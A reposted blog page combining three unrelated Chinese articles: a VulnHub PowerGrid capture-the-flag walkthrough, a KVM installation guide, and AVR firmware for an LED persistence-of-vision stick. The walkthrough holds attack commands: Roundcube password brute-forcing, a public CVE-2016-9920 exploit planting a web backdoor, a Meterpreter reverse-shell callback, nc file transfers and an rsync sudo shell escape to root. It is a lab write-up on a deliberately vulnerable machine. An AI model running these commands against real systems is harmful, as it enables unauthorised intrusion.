VulnHub PowerGrid 1.0.1靶機滲透

​本文首發於微信公眾號:VulnHub PowerGrid 1.0.1靶機滲透,未經授權,禁止轉載。

難度評級:官網地址:https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova天翼雲盤:https://cloud.189.cn/t/2UN7Ffiuqyym百度網盤:https://pan.baidu.com/s/10l8dshcdaLxWL7eGN92U4Q 提取碼:r4zc官網簡介:靶機會進行計時,即使關閉虛擬機也不會停止,超時后將銷毀證據滲透目標:獲取root權限,找到4個flag本機地址:192.168.110.27靶機地址:192.168.110.36 
    

 

信息收集

話不多說,直接上nmap看靶機IP。

nmap 192.168.110.0/24 -sP
    

本機是192.168.110.27,那靶機就是192.168.110.36。接着掃一下端口。

nmap -A -p- 192.168.110.36
    

沒有打開22號端口可還行,第一次見到這麼任性的靶機。沒關係,80端口終歸還是打開了的,看看網頁。

網頁端显示了一個計時器,文字說明提示這是一封勒索信,3個小時之內要交250億歐元,這黑客可是真夠黑的。不過,這個網頁的最後透露了deez1、p48、all2這幾個用戶名,需要留意一下。

按照規矩,一般都會遍歷一下網頁的目錄。

dirb http://192.168.110.36
    

什麼也沒有可還行,不過按照以前的經驗(VulnHub CengBox2靶機滲透),有可能是默認字典不夠大,使用dirbuster的字典再掃一次。

dirb http://192.168.110.36 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -w
    

發現images目錄和zmail頁面。

images目錄就是兩張背景圖片,沒什麼用,而訪問zmail頁面則彈出一個登錄對話框,使用幾個常見密碼和用戶名登錄失敗,嘗試使用burp爆破。

對登錄界面抓包后發現用戶名密碼採用了Base64編碼,使用burp自帶的解碼器解碼。

其實就是在用戶名和密碼之間插入了一個冒號。接下來使用最經典的rockyou密碼字典爆破,用戶名則選擇deez1、p48、all2。

經過漫長的等待,終於發現有一個響應包的長度跟其他的不一樣。

成功獲取登錄密碼,登錄后發現又是一個登錄界面。

使用同樣的用戶名密碼登錄嘗試,登錄成功(簡直多此一舉)。登錄后發現root發送過來了一封右鍵。

郵件中寫道還有另一台服務器,下面的加密信息就是SSH的私鑰,是用p48的gpg私鑰加密的,可以用來登錄那台服務器但沒必要。呵呵,沒必要?我會聽你的?你個糟老頭子壞得很。不過暫時還沒有辦法解密消息,先把加密消息保存下來。

由於在網頁端可以寫郵件,因此猜測能通過附件上傳PHP木馬,經過嘗試后並不奏效,只好去查找roundcube的漏洞。

msfconsole search roundcube
    

痛苦,在Metasploit里找不到相關漏洞。不過不用灰心,說不定在網上能找到。

經過查找后發現小於1.2.2版本的roundcube存在代碼執行漏洞,編碼為CVE-2016-9920,GitHub鏈接為:https://github.com/t0kx/exploit-CVE-2016-9920。

git clone https://github.com/t0kx/exploit-CVE-2016-9920.git
    

 

 

漏洞利用

這個exp是用python寫的,不過作者給的示例都不能使用,因為靶機上有兩個登錄界面,而正常來說,網站只需要登錄一次就夠了。另外,需要更改exp的發件人與收件人。

./exploit.py --host p48:electrico@192.168.110.36 --user p48 --pwd electrico --path /zmail --www_path "/var/www/html/zmail/"
    

攻擊成功,現在只需要訪問http://192.168.110.36/zmail/backdoor.php即可執行命令了。先看看/var/www/目錄下都有些啥東西。

很好,發現了第一個flag文件,趕緊查看一下內容。

提示是pivote,並沒有什麼用。既然已經可以執行任意命令,那麼就可以配合msf獲取shell。

msfconsoleuse multi/script/web_deliveryset payload php/meterpreter_reverse_tcpset LHOST 192.168.110.27set target PHPrun
    

執行之後會显示一條以php開頭的命令,複製到瀏覽器訪問。

這時msf已經成功獲取session了。

sessions -lsessions -i 1shell
    

很無奈,每次拿到的shell都很不好用,沒有安全感。利用python將難用的shell改成bash。

whereis python
    

發現有python2.7和python3.7。

python3.7 -c 'import pty; pty.spawn("/bin/bash")'
    

成功獲取了www-data的bash,接下來就要作點妖了,先看看家目錄下都有哪些用戶。

cd /homels
    

很好,有一個叫p48的用戶,這個用戶的網頁端密碼之前已經爆破出來了,嘗試切換到p48。

完美,p48跟我一樣,喜歡一個密碼到處用,更驚喜的是p48家目錄下有一個gpg私鑰,這應該就是可以解密網頁端加密消息的私鑰了(翻譯翻譯,什麼叫驚喜)。

不過奇怪的是,靶機上竟然沒有gpg命令,必須拷貝到攻擊主機上才能解密。

nc -lvvp 31337 < privkey.gpgnc 192.168.110.36 31337 > p48.gpg
    

接下來解密文件。

gpg --import p48.gpggpg --decrypt id_rsa.encoded > id_rsa
    

解密后還需要把id_rsa傳回到靶機,同樣使用的nc,這裏就不贅述了。

現在問題來了,這個SSH私鑰文件是要拿來連接誰的呢?郵件里root說的另一台服務器在哪呢?莫非這台靶機上還運行了虛擬機?查看一下IP看看有什麼貓膩。

有一個叫docker0的網卡,這台靶機應該還運行着docker,所謂的另一台服務器應該就在容器里運行着。

掃一下172.17.0.0/24這個網段(網卡信息显示網段為172.17.0.0/16,不過172.17.0.0/24的範圍更大,因此不會漏掉可能的IP),看看另一台靶機的端口是多少。由於靶機沒有安裝nmap,所以只能使用循環加ping的方法判斷。

for i in {1..254} ; do ping -c 1 172.17.0.$i -W 1 &>/dev/null && echo 172.17.0.$i is alive || echo 192.168.110.$i is down ;done
    

還好IP比較靠前,一下子就掃出來了。接着使用SSH私鑰登錄。

chmod 600 id_rsassh -i id_rsa p48@172.17.0.2

    

登錄后很容易就發現了第二個flag。

第二個flag提示p48的用戶權限不高,很明顯,這是提示要提權了。

 

 

 

權限提升

首先看看有什麼命令是可以提權執行的。

sudo -l
    

rsync命令可以免密碼以root用戶權限運行,rsync命令可以理解成一個加強版的cp命令,既然可以使用root權限運行,那麼就可以把/root/下的所有文件拷貝到/tmp目錄下查看。

第三個flag已經出來了,這個flag提示pivoting backwards,難不成第四個flag在docker外?由於最開始掃描靶機端口時22號端口沒有打開,這裏又提示要往回找第四個flag,我們有理由懷疑靶機在docker0網卡上開放了SSH服務,往外連接試試。

實錘了,可以通過172.17.0.1連接到靶機。不過並不知道密碼,p48用戶家目錄下的.ssh目錄里也沒有存放SSH私鑰,這是一件很頭疼的事。

經過查詢,發現rsync命令不僅可以用來拷貝文件,還可以用來提權。

sudo -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/nullwhoami
    

很好,已經成功提權到root,接下來查看/root/.ssh/目錄下有沒有SSH私鑰。

cd /root/.sshlsssh -i id_rsa root@172.17.0.1
    

不出所料,成功登錄到外面的靶機。接下來就是查找第四個flag了。

第四個flag就存放在/root/目錄下,根據提示,這是最後一個flag了。

至此,對PowerGrid的滲透已經全部完成。

 

 

 

總結

這個靶機整體偏難,首先是網頁端的爆破,一般的密碼字典很難跑出來,而rockyou這個密碼字典又很大,如果不耐心等待的話很難爆破出來。
其次是這台靶機多次用到了公私鑰,如果對非對稱加密和gpg工具不熟悉的話,可能就會無法進入下一關。

這台靶機還運行着docker,就相當於有兩台靶機,這是PowerGrid比較新穎的地方。另外,3個小時的時間限制也為滲透增加了幾分緊張刺激的氣氛。

整體來說,這台靶機在形式上有一定的創新性,很值得下載下來親自復現一下。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

一文告訴你Linux如何配置KVM虛擬化–安裝篇

KVM全稱”Kernel-based Virtual Machine”,即基於內核的虛擬機,在linux內啟用kvm需要硬件,內核和軟件(qemu)支持,這篇文章教你如何配置並安裝KVM虛擬機.

  • 檢查硬件和系統的兼容性

    • 檢查硬件虛擬化:LC_ALL=C lscpu | grep Virtualization
      這行代碼其中 LC_ALL=C為設置輸出語言用,lscpu輸出CPU信息,在輸出的CPU信息裏面查找“Virtualization”(虛擬化),輸出結果如果有”AMD-V”(AMD CPU) 或者”VT-X”(Intel CPU),則說明你的電腦硬件支持並且已開啟虛擬化,可以下一步
      那如果沒有显示以上兩種呢,就進入BIOS(或者UEFI)找到虛擬化/virtualization/VT-X/AMD-V一般來說是這四個名字裏面任意一個,當然,如果你的班子BIOS裏面是virtualization裏面有vt-x和vt-d兩個的話,就兩個都開。然後,理論上你就能繼續了,除非,你的硬件 根本不支持虛擬化(除非廠家手動閹割,現在一般不會有這問題,博主的本本一開始買來BIOS裏面就是沒有AMD-V的,後來就是靠BIOS更新加上的)。
      舉個例子:博主linux上的显示是:Virtualization: AMD-V則證明該電腦支持AMD 的虛擬化技術

    • 檢查系統是否支持lsmod | grep kvm
      這行代碼告訴你系統是否加載了KVM有關模塊,如果有輸出相關模塊,請看kvm配置,否則接着看kvm的安裝(kvm基於內核,需要內核模塊才能正常工作)

  • KVM 安裝過程
    KVM的依賴項除了內核和內核模塊主要有這些:firewalld(防火牆),dnsmasq,ebtables(網絡方面),libvirt(虛擬化接口),qemu(虛擬機本體)。另外,使用bridge-utils可以設置網卡橋接。
    知道了需要的包,安裝就好了.
    如果你的系統是Centos(RHEL/Fedora同理)你完全可以在安裝的時候就選擇虛擬化服務器的,如果要手動安裝,那麼需要跑這樣一條命令(CENTOS8/fedora可能需要把yum替換為dnf):
    sudo yum install -y virt-* libvirt bridge-utils qemu qemu-img qemu-kvm,需不需要操作selinux就看着辦,如果因為selinux的原因導致無法開機,那就改,沒問題就不需要動了(博主不是專業的運維。平時主玩ARCH,對這塊不是特別了解)

玩Ubuntu系列(ubuntu/deepin/mate/kali……)的同學安裝kvm的話也類似,不過這包名可能和上面有所不同,代碼如下:
sudo apt install qemu qemu-kvm libvirt-bin bridge-utils

Arch用戶
sudo pacman -S qemu libvirt ebtables dnsmasq firewalld bridge-utils

安裝完軟件包,接下來開啟防火牆和libvirt守護進程
sudo systemctl start firewalld && sudo systemctl start libvirtd需不需要enable看你們自己的需要,如果是虛擬化母機或者經常用到虛擬機的話,那麼建議enable,開機自動把虛擬化服務啟動。

講完了基礎安裝工作,剩下的就是你如何控制kvm的事情了。圖形化/命令行

圖形化控制KVM一般使用virt-manager(中文名:虛擬系統管理器),剩下的就是圖形化設置的工作了。

嗯,沒錯,就是這個東西,創建虛擬機的話,只需要點創建虛擬機按鈕就好了(就是圖上那個亮着的按鈕)。

然後,連接這裏選擇QEMU/KVM,就是使用KVM虛擬機創建.

    番外內容:[有的同學可能先裝了libvirt和virt-manager后裝qemu的,就會出現沒有連接或者連接裏面沒有KVM的,那麼,在確保kvm服務開啟的狀態下,點擊文件,添加連接。
        ![](https://img2020.cnblogs.com/blog/2045563/202006/2045563-20200625211926555-1690702968.png)
    出來這個頁面,這裏不用動,直接確定,不出意外,你就能導入KVM的連接了,需要知道的是,如果你之前使用virsh或者qemu命令行管理的話,你能夠在這裏導入kvm連接,但是,並不能接管原來創建的虛擬機。]

至於以何種方式創建虛擬機,就看你需要,不過一般使用第一項使用ISO安裝系統,如果你之前有kvm/qemu的磁盤鏡像(qcow2),你也可以用第四個(導入現有磁盤鏡像).

這裏選擇需要使用的ISO鏡像文件.
點擊瀏覽彈出這個窗口

然後本地瀏覽選擇鏡像

選擇CPU/運行內存資源

然後創建虛擬硬盤,這裏如果你有現成的qcow2/row鏡像,你也可以直接拿來用。
番外內容:[需要注意這點:通過libvirt 創建qemu鏡像的大小是固定的,就是分多少它馬上就吃多少的,不像vmware這樣會動態擴展,當然,也可以實現,需要參考下面使用代碼創建虛擬機]
然後沒有什麼問題了,就直接點完成,開始安裝系統,安裝系統過程,這裏就不贅述了,至於基礎的管理工作,進去虛擬機的窗口,點擊那個管理按鈕,會進入類似於vmware虛擬機設置的頁面,在裏面可以進行操作(部分操作需要關機)。

下面是代碼創建虛擬機的介紹(高級玩法可能需要手動修改XML文件,這裏就暫時不介紹了)

  • 首先,你需要使用virsh這個命令來管理虛擬機,先創建存儲卷(磁盤鏡像)
    virsh vol-create-as poolname volumename 10GiB --format aw|bochs|raw|qcow|qcow2|vmdk
    一般QEMU/KVM支持的鏡像為qcow/qcow2/row
    或者使用qemu-img來創建鏡像
    敲黑板:qemu-img除了可以創建鏡像以外,也和virsh一樣支持鏡像修改,另外,qemu-img創建鏡像可以選擇預分配模式,從而解決上面使用圖形化鏡像過大的問題.
    qemu-img create -f 'qcow2' -o preallocation=off /home/udream/test.qcow2 10G 這樣就可以創建一個10G大小的,關閉預分配的qcow2鏡像,這個鏡像文件沒安裝系統之前的大小是192.2Kb,默認直接創建的大小為10G
    然後,有了磁盤鏡像,就可以創建虛擬機了
    舉例代碼如下:
             virt-install  \
  -        --name test \
           --memory 4096             \
           --vcpus=2,maxvcpus=4      \
           --cpu host                \
           --cdrom $HOME/test.iso \
           --disk  /home/udream/test.qcow2,size=10GiB  \
           --network user            \
           --virt-type kvm   

這段代碼指定了虛擬機名字test,內存1g,CPU最少2核最大4核,安裝盤位置:$HOME/test.iso,盤的大小,網絡類型,虛擬化接口KVM,使用之前創建的虛擬盤 /home/udream/test.qcow2 大小 10G

  創建完成虛擬機以後使用```virsh start 虛擬機名字```啟動虛擬機
  關閉虛擬機把start改為shutdown,強制關機為destory,重啟是reboot
  管理虛擬網絡,使用virsh net-後面跟操作(start/destory/create……)
  當然,還有pool設置存儲池,vol設置存儲卷,snapshot設置快照,具體的,因為字數原因(怕某些同學太長不看),就不一個個碼了,你可以敲virsh --help查看具體幫助信息,不過。這幾個最常用的也就是create/start/stop/destory/list了,
  這裏舉個例子,啟動虛擬網絡:```virsh net-start 虛擬網絡名``` 創建存儲池```virsh pool-create XML描述文件名```,其他的命令可以按照這樣的方式操作,下一篇是virsh命令的具體玩(配)法(制)介紹。

這次就講到這裏了,本次內容原創純手碼,部分命令為了確認正確性,參考了arch wiki,測試環境為ARCHLINUX 5.7.4-arch1-1 桌面環境kde plasma。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

搖搖棒,理工男的擇偶權(上)

  • 搖搖棒,理工男的擇偶權(上)

  • 搖搖棒,理工男的擇偶權(中)

  • 搖搖棒,理工男的擇偶權(下)

 

前言

搖搖棒是載有一列LED的棒,通過適當的程序控制,在搖動起來時,由於人眼有視覺暫留現象(persistence of vision,POV),會形成一幅圖像。你可以上淘寶搜索,關注一下搖搖棒的核心參數(賣點)與显示效果。

 

一年多前,我做了一根搖搖棒,16個粉紅色LED,在520那天送給了女朋友。她很喜歡,她的同學和我的同學都很好奇。

那時候我做了兩根,當然不是因為我是渣男。另一根我帶去了高考(高二等級考)考場,內置了“全員A+”的字樣,本來想交給老師來給我們應援的,但是在烈日之下我只能很勉強地看見搖搖棒显示的字,於是就不了了之了。

我不服,又設計了搖搖棒2.0。製作完硬件以後,它就一直堆在我的書桌旁。

 

一年過去了,女朋友丟了,體重增加了,唯一不變的是我還是什麼降分約都沒有——唉,又要參加等級考了(寫作之時已經考完了)。

我想起了搖搖棒。

這一回,搖搖棒是我在高考前夕唯一的樂趣,是我在老師心中瓜皮形象的轉折點,是我作為一個理工男的擇偶權。

 

系列概述

本系列文章分為三篇:上篇介紹單機的搖搖棒,中篇介紹聯機的搖搖棒,下篇介紹圖靈完全的搖搖棒。

本文為上篇。目前進度大概到中篇的一半,但我覺得只有完成了後續(最好是所有)才能更好地審視前面的工作,用沒有回溯的思路整理成一篇博客。

寫文章要照應標題,不過這簡直就是做夢,我還是好好介紹搖搖棒吧,不去想那些有的沒的。

 

先放個效果圖吧(曝光時間0.2s):

 

核心原理

人們對搖搖棒有所好奇,無非是好奇它的核心原理,至於細節與實現,我說出來也沒有人要聽。這也是我開通博客的原因。

 

首先,棒上所有的輸入輸出設備都由程序控制,運行程序的是一塊單片機。

搖動周期是任意的(自適應的),別太誇張就行,所以搖搖棒需要檢測運動周期。用於檢測的硬件是位於棒頂端的水銀開關:

真空、密封的玻璃管中有一滴水銀,一個引腳始終與水銀接觸,另一個只有當水銀位於一端時才接觸。接觸時兩引腳導通,用一個很簡單的電路就可以把導通與否轉換成高低電平被單片機讀取。

改變水銀位置需要施力,搖搖棒運動過程中有加速度,提供了慣性力。然而,水銀開關只能指示加速度的方向,而不是更容易使用的加速度、速度、位置;加速度的方向也不能簡單地認為是一個周期內翻轉兩次——這就需要一個精巧的程序來控制。

我寫的程序能讓單片機知道(意會,別跟我杠什麼單片機沒有意識)它在一個周期中的相對位置,從而知道每一時刻該亮起圖像的哪一部分。哦對了,字符是轉換成點陣圖像存儲的,每一個像素點都是搖搖棒亮燈的依據。

於是,在一個周期中,圖像的每一列都被在對應的位置显示了一會。人眼有視覺暫留現象,這些列一起組成了一幅圖像,它的內容是字符。當然,簡單的圖案也是可以的。

 

硬件

以上為搖搖棒的原理圖,可以分為以下幾個部分:

  • 供電:18650電池座、電源開關、SX1308(B628)升壓、AMS1117-3.3穩壓;

    搖搖棒1.0直接用3.7V鋰離子電池供電,但實際電壓為2.7V到4.2V,亮度差異很大;2.0的供電部分先升壓到5V,為了便於在高亮度下控制亮度。

    藍牙模塊需要3.3V電源,所以加了個LDO。

  • 控制:ATMega328P單片機、晶振、ISP下載接口;

    單片機選擇的是我最擅長的AVR系列中的ATmega328P,與爛大街的Arduino相同(但我沒從那邊抄過哪怕一行代碼)。晶振是20MHz的,官方允許的最高頻率,為了獲得更好的性能。

    下載器接口是我自己定義的ISP接口,比標準的佔用更少空間,但畢竟是非標準的,這是個歷史遺留問題。

  • 輸入:電池電壓檢測、水銀開關、光敏電阻、按鍵×2;

    水銀開關接通時,SWC為低電平;斷開時,由於沒有負載,SWC為高電平;R05稱為上拉電阻。這就是那個很簡單的電路。電容C04本來想用於濾波的,實測反而礙事,拿掉了。兩個按鍵同理,上拉電阻在單片機內部配置。

    光敏電阻R06阻值與光強負相關,與定值電阻R07分壓后的輸出電壓與光強正相關,接到單片機的ADC(模-數轉換器)上,從而檢測環境光強度並調整亮度,深夜寫代碼與陽光下展(liào)示(mèi)都能適配。

  • 輸出:5片74HC595、2個N溝道MOS管、32個藍綠雙色LED、2個RGBW LED;

    595是串行轉并行芯片,MOS是一種三極管,詳見AVR單片機教程——矩陣鍵盤。595輸出串聯排阻後接LED再接到MOS管,連接方式下面細說。

    單片機上DAT1DAT3DAT4CLKSTO引腳控制595,前3個是數據信號。設計3個數據信號是為了加速輸出,不過最快的輸出方式是用SPI,沒有用它是設計上的失誤。

  • 藍牙:藍牙模塊、簡單的電平轉換電路。

    中篇內容,跳過。

 

兩個RGBW共8個燈,剛好對應595的8個輸出。不幸的是,595位於下方RGBW的背面,而另一個RGBW位於頂端,在狹窄的PCB中避開其他元器件和信號線走4根線並不容易,這是PCB布線的難點。也許還有別的難點,只是時間太久遠,我已經忘了。

595輸出串聯電阻後接LED,輸出低電平時LED不亮,高電平時有電流因而亮,電阻起到限流作用。不同顏色的燈串聯不同阻值的電阻是為了平衡亮度,在RGB都點亮時顏色接近白色。

4片595輸出LED0LED31,越上方的編號越小。每個藍綠雙色LED的兩個陽極共同連接一個LEDx信號,綠、藍陰極分別連接到GRNBLU,是兩個MOS管的漏極。當Q的柵極GRNC為高電平時,漏極和連接到GND的源極之間導通,電阻忽略不計,如果此時LEDx為高電平則對應綠燈亮起;低電平時不導通,無論LEDx如何,綠燈一個都不會亮——這段時間留給藍燈。

簡而言之,GRNC為高電平時595控制綠燈,BLUC為高電平時595控制藍燈。如果GRNCBLUC的電平轉換非常快,快到電平變化的一個周期內LED只移動了很小一段距離,看起來就是天藍色的。而事實上,GRNCBLUC的電平變化還沒那麼簡單。

 

PCB渲染圖如上。大致布局是,正面最上方水銀開關和光敏電阻,往下一個RGBW、32個藍綠、一個RGBW,IC和電阻等貼片器件都在反面對應的位置。然後是下載器接口、電源開關、兩個按鍵、電感、晶振,最後是電池,反面有升壓電路、單片機、藍牙模塊等。在手握搖搖棒時這些元器件會被碰到,影響正常工作,所以全部被我蓋了一層熱熔膠:

畢竟圖吧簽到12級。

 

硬件設計決定了搖搖棒功能的上限。比如,它不可能显示紅色的圖像(除非你能搖得快到紅移)。

本篇中搖搖棒能實現的功能有:

  • 以任意的藍綠組合顏色呈現圖像,包括漸變色;

  • 自動根據環境光強調整显示亮度;

  • 用按鍵切換显示圖像、複位周期檢測、調整亮度等。

 

驅動

這個項目不算簡單,所以我要加上驅動層,把底層的寄存器操作封裝成C語言函數,在適當的地方提供回調接口。後面將看到驅動層之上並非直接是應用程序,驅動負責到哪一步也是一個問題。我的想法是,應用程序不需要插入代碼的地方就封裝,否則就留給上層解決;明顯的異步操作用回調。

驅動層主要包括以下接口:

  1. LED,規定數據格式,提供以一定亮度亮燈的函數;

  2. 水銀開關,檢測加速度方向,附帶濾波;

  3. 按鍵,封裝按鍵雙擊、長按等高級事件;

  4. ADC,檢測電源電壓與光強,後者可以異步;

  5. 定時器,程序結構的核心,定時回調與全局時鐘;

  6. 藍牙,依舊跳過。

詳解一下奇數編號的驅動。

 

LED

32個雙色LED加上2個RGBW的模式可以用5個字節表示,我規定第[0]字節的最低位對應最上方的LED,第[3]字節的最高位對應最下方,第[4]字節最低位對應上方RGBW的紅色,最高位對應下方RGBW的白色。這樣就不難寫出驅動5片595的代碼:

uint8_t d0, d1, d2;
d0 = data[0];
d1 = data[2];
for (uint8_t i = 0; i != 8; ++i)
{
    cond_bit(read_bit(d0, 0), PORTC, 0);
    cond_bit(read_bit(d1, 0), PORTC, 1);
    d0 >>= 1;
    d1 >>= 1;
    clock_bit(PORTC, 3);
}
d0 = data[1];
d1 = data[3];
d2 = data[4];
for (uint8_t i = 0; i != 8; ++i)
{
    cond_bit(read_bit(d0, 0), PORTC, 0);
    cond_bit(read_bit(d1, 0), PORTC, 1);
    cond_bit(read_bit(d2, 0), PORTC, 2);
    d0 >>= 1;
    d1 >>= 1;
    d2 >>= 1;
    clock_bit(PORTC, 3);
}
clock_bit(PORTC, 4);

其中的位操作宏定義為:

#define set_bit(r, b) ((r) |= (1u << (b)))
#define reset_bit(r ,b) ((r) &= ~(1u << (b)))
#define read_bit(r, b) ((r) & (1u << (b)))
#define cond_bit(c, r, b) ((c) ? set_bit(r, b) : reset_bit(r, b))
#define flip_bit(r, b) ((r) ^= (1u << (b)))
#define clock_bit(r, b) (flip_bit(r, b), flip_bit(r, b)
#define bit_mask(n, b) (((1u << (n)) - 1) << (b))

配合GRNCBLUC的高低電平可以显示出綠、藍和天藍色,但這還不算完。GRNCBLUC連接到單片機的OC0AOC0B引腳,它們是定時器0的波形輸出引腳,可以產生PWM波。一個PWM周期內一段時間高電平,對應LED亮,低電平時暗,切換快到人眼完全看不出來,從而感覺到亮度是均勻的,與PWM占空比正相關的。一會讓GRNC輸出PWM波,BLUC保持低電平,一會相反,切換依然快到看不出來,於是就實現了任意的藍綠亮度組合。

原先這種設計只是為了解決藍綠亮度不相同的問題,後來漸漸地發展出了漸變色的功能。

typedef enum
{
    COLOR_NONE, COLOR_GREEN, COLOR_BLUE
} color_t;

void led_set(color_t color, uint8_t duty, const uint8_t data[5])
{
    TCCR0A &= ~(bit_mask(2, COM0A0) | bit_mask(2, COM0B0));
    // ...
    uint8_t com0x;
    volatile uint8_t* ocr0x;
    switch (color)
    {
    case COLOR_GREEN:
        com0x = 0b10 << COM0A0;
        ocr0x = &OCR0A;
        break;
    case COLOR_BLUE:
        com0x = 0b10 << COM0B0;
        ocr0x = &OCR0B;
        break;
    default:
        return;
    }
    if (duty == 0)
        return;
    TCCR0A |= com0x;
    *ocr0x = duty - 1;
    TCNT0 = 0xFF;
}

中間省略的是上面那段代碼。

 

按鍵

我一直想寫一個能處理長按、雙擊等事件的按鍵庫,這次正是一個機會。至少在這一篇中,按鍵是控制好搖搖棒的唯一方式。而按鍵一共只有兩個,為了使輸入方式更豐富,就只能在每個按鍵的事件種類上動手腳。

首先要消抖。按鍵在被按下和抬起的過程中,電平並不是直上直下的,可能存在抖動。如果把每一次跳變都算一個事件的話,隨意按一下可能就被算作雙擊了,所以需要消抖。我用的是最簡單的消抖方法:用一個變量記錄按鍵的狀態,當按鍵的電平與原狀態不同且保持10ms不變時,才認為此時按鍵進入新的狀態。水銀開關的消抖也是類似的。

#include <avr/io.h>

#define BUTTON_COUNT 2

static bool pin[BUTTON_COUNT];
static uint8_t filter[BUTTON_COUNT] = {0};

static inline bool button_read(uint8_t which)
{
    switch (which)
    {
    case 0:
        return read_bit(PINB, 1);
    case 1:
        return read_bit(PINB, 2);
    }
    return false;
}

static inline button_event_t button_filter(uint8_t which)
{
    if (which >= BUTTON_COUNT)
        return false;
    bool now = button_read(which);
    if (now == pin[which])
        filter[which] = 0;
    else if (++filter[which] == 50)
    {
        pin[which] = now;
        filter[which] = 0;
        return now ? BUTTON_LEFT_RELEASED : BUTTON_LEFT_PRESSED;
    }
    return BUTTON_NONE;
}

void button_init()
{
    set_bit(PORTB, 1);
    set_bit(PORTB, 2);
    for (uint8_t i = 0; i != BUTTON_COUNT; ++i)
        pin[i] = button_read(i);
}

定義三種模式,最複雜的模式中包括以下事件:

typedef enum
{
    MODE_NONE, MODE_SIMPLE, MODE_ADVANCED
} button_mode_t;

typedef enum
{
    BUTTON_NONE,
    BUTTON_LEFT_PRESSED, BUTTON_LEFT_RELEASED,
    BUTTON_LEFT_SHORT, BUTTON_LEFT_LONG, BUTTON_LEFT_CONT,
    BUTTON_LEFT_DOUBLE,
    BUTTON_RIGHT_PRESSED, BUTTON_RIGHT_RELEASED,
    BUTTON_RIGHT_SHORT, BUTTON_RIGHT_LONG, BUTTON_RIGHT_CONT,
    BUTTON_RIGHT_DOUBLE,
    BUTTON_BOTH
} button_event_t;

BUTTON_LEFT_CONT指左按鍵長按以後保持按下的事件,每100毫秒觸發一次;BUTTON_BOTH是兩個按鍵同時按下的事件。

函數button_get()返回一個button_event_t變量。每次調用只更新一個按鍵,因此不會有多個返回值。該函數需要客戶輪詢。

同時處理這麼多事件的方法是用狀態機:

BOTHFREE的轉移條件為另一個按鍵也處於BOTH狀態。具體timeout值見下面的代碼,代碼中數值除以5得到毫秒數。

比如,0ms時按下,200ms時抬起,400ms時按下,600ms時抬起,狀態轉移過程為:

  1. 0ms,FREEBOTH

  2. 100ms,BOTHSHORT,事件PRESSED

  3. 200ms,SHORTDOUBLE

  4. 400ms,DOUBLEFREE,事件DOUBLE

typedef enum
{
    STATE_FREE, STATE_BOTH, STATE_SHORT, STATE_DOUBLE, STATE_LONG
} state_t;

static button_mode_t mode = MODE_NONE;
static const button_event_t base[BUTTON_COUNT] = {0, BUTTON_RIGHT_PRESSED - BUTTON_LEFT_PRESSED};
static state_t state[BUTTON_COUNT];
static uint16_t count[BUTTON_COUNT];
static uint8_t turn = 0;

void button_mode(button_mode_t m)
{
    if (mode == m)
        return;
    mode = m;
    if (m == MODE_ADVANCED)
        for (uint8_t i = 0; i != BUTTON_COUNT; ++i)
            state[i] = STATE_FREE;
}

button_event_t button_get()
{
    button_event_t result = BUTTON_NONE;
    button_event_t filter = button_filter(turn);
    if (mode == MODE_SIMPLE)
        result = filter;
    else if (mode == MODE_ADVANCED)
    {
        switch (state[turn])
        {
        case STATE_FREE:
            if (filter == BUTTON_LEFT_PRESSED)
            {
                state[turn] = STATE_BOTH;
                count[turn] = 0;
            }
            break;
        case STATE_BOTH:
        {
            uint8_t other = 1 - turn;
            if (state[other] == STATE_BOTH)
            {
                result = BUTTON_BOTH;
                state[turn] = STATE_FREE;
                state[other] = STATE_FREE;
            }
            else if (filter == BUTTON_LEFT_RELEASED)
            {
                result = BUTTON_LEFT_PRESSED;
                state[turn] = STATE_DOUBLE;
                count[turn] = 0;
            }
            else if (++count[turn] == 500)
            {
                result = BUTTON_LEFT_PRESSED;
                state[turn] = STATE_SHORT;
                count[turn] = 0;
            }
            break;
        }
        case STATE_SHORT:
            if (filter == BUTTON_LEFT_RELEASED)
            {
                state[turn] = STATE_DOUBLE;
                count[turn] = 0;
            }
            else if (++count[turn] == 2500)
            {
                result = BUTTON_LEFT_LONG;
                state[turn] = STATE_LONG;
                count[turn] = 0;
            }
            break;
        case STATE_DOUBLE:
            if (filter == BUTTON_LEFT_PRESSED)
            {
                result = BUTTON_LEFT_DOUBLE;
                state[turn] = STATE_FREE;
            }
            else if (++count[turn] == 500)
            {
                result = BUTTON_LEFT_SHORT;
                state[turn] = STATE_FREE;
            }
            break;
        case STATE_LONG:
            if (filter == BUTTON_LEFT_RELEASED)
            {
                result = BUTTON_LEFT_RELEASED;
                state[turn] = STATE_FREE;
            }
            else if (++count[turn] == 500)
            {
                result = BUTTON_LEFT_CONT;
                count[turn] = 0;
            }
            break;
        }
    }
    if (result != BUTTON_NONE && result != BUTTON_BOTH)
        result += base[turn];
    if (++turn == BUTTON_COUNT)
        turn = 0;
    return result;
}

 

廢話兩句。以前上課的時候有人問我單片機按鍵雙擊怎麼寫,當時我心裏還沒底,因為沒寫過,就讓他多加一個按鍵。這時我們老師說,註冊一個回調就可以了呀!

嗯,算你懂得回調。

 

定時器

程序中主循環的周期為0.1ms,但是一個周期中執行指令的時間相比於周期長度而言已經不可忽略,為了精準地控制時間,需要使用定時器。沒錯,這裏的定時器和之前提到的用於產生PWM波的是同一類東西,不同的是之前用的是定時器0,這裏用的是定時器2,兩者互不干擾。

設置定時器2分頻係數為8,匹配值為250,則每2000個CPU時鐘周期產生一个中斷。CPU時鐘頻率為20MHz,因此定時器中斷的間隔為0.1ms。客戶須在每次中斷中調用button_get,這就是除以5得到毫秒數的原理。

